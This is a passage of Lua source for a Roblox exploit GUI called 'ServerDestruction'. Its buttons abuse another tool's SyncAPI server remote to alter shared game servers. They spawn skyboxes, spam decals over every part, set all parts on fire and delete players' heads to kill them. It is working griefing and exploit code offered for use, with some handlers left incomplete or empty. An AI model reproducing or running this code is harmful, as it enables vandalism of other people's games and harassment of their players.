TextButton_11.Parent = ServerDestruction
TextButton_11.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_11.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_11.BorderSizePixel = 3
TextButton_11.Position = UDim2.new(0.5, 3, 0, 66)
TextButton_11.Size = UDim2.new(0.5, -3, 0, 30)
TextButton_11.ZIndex = 2
TextButton_11.Font = Enum.Font.SourceSans
TextButton_11.Text = "Set Skybox"
TextButton_11.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_11.TextSize = 14.000
TextButton_11.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) +
Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z ==
math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("8408806737")
end)
TextButton_12.Parent = ServerDestruction
TextButton_12.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_12.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_12.BorderSizePixel = 3
TextButton_12.Position = UDim2.new(0.5, 3, 0, 99)
TextButton_12.Size = UDim2.new(0.5, -3, 0, 30)
TextButton_12.ZIndex = 2
TextButton_12.Font = Enum.Font.SourceSans
TextButton_12.Text = "Decal Spam"
TextButton_12.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_12.TextSize = 14.000
TextButton_12.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("8408806737")
end)
TextButton_13.Parent = ServerDestruction
TextButton_13.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_13.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_13.BorderSizePixel = 3
TextButton_13.Position = UDim2.new(0, 0, 0, 132)
TextButton_13.Size = UDim2.new(0.5, 0, 0, 30)
TextButton_13.ZIndex = 2
TextButton_13.Font = Enum.Font.SourceSans
TextButton_13.Text = "g00by Sky"
TextButton_13.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_13.TextSize = 14.000
TextButton_13.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) +
Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and
v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("84607421311100")
end)
TextButton_14.Parent = ServerDestruction
TextButton_14.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_14.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_14.BorderSizePixel = 3
TextButton_14.Position = UDim2.new(0.5, 3, 0, 132)
TextButton_14.Size = UDim2.new(0.5, -3, 0, 30)
TextButton_14.ZIndex = 2
TextButton_14.Font = Enum.Font.SourceSans
TextButton_14.Text = "Clear Workspace"
TextButton_14.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_14.TextSize = 14.000
TextButton_14.TextWrapped = true
TextButton_14.MouseButton1Down:connect(function()
end)
TextButton_15.Parent = ServerDestruction
TextButton_15.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_15.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_15.BorderSizePixel = 3
TextButton_15.Position = UDim2.new(0, 0, 0, 165)
TextButton_15.Size = UDim2.new(0.5, 0, 0, 30)
TextButton_15.ZIndex = 2
TextButton_15.Font = Enum.Font.SourceSans
TextButton_15.Text = "Fire All (Kills)"
TextButton_15.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_15.TextSize = 14.000
TextButton_15.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = workspace.Part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function Fire(player)
for i,v in player.Character:GetDescendants() do
if v:IsA("BasePart") then
AddFire(v)
end
end
DestroyPart(player.Character.Head)
end
TextButton_16.Parent = ServerDestruction
TextButton_16.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_16.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_16.BorderSizePixel = 3
TextButton_16.Position = UDim2.new(0.5, 3, 0, 165)
TextButton_16.Size = UDim2.new(0.5, -3, 0, 30)
TextButton_16.ZIndex = 2
TextButton_16.Font = Enum.Font.SourceSans
TextButton_16.Text = "Fire All (No Kill)"
TextButton_16.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_16.TextSize = 14.000
TextButton_16.TextWrapped = true
TextButton_16.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
end)
TextButton_17.Parent = ServerDestruction
TextButton_17.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
TextButton_17.BorderColor3 = Color3.fromRGB(255, 0, 0)
TextButton_17.BorderSizePixel = 3
TextButton_17.Position = UDim2.new(0.5, 0, 0, 198)
TextButton_17.Size = UDim2.new(0.5, 0, 0, 30)
TextButton_17.ZIndex = 2
TextButton_17.Font = Enum.Font.SourceSans
TextButton_17.Text = "Scarify"
TextButton_17.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_17.TextSize = 14.000
TextButton_17.TextWrapped = true
TextButton_17.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) +
Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and
v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("108478466163198")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
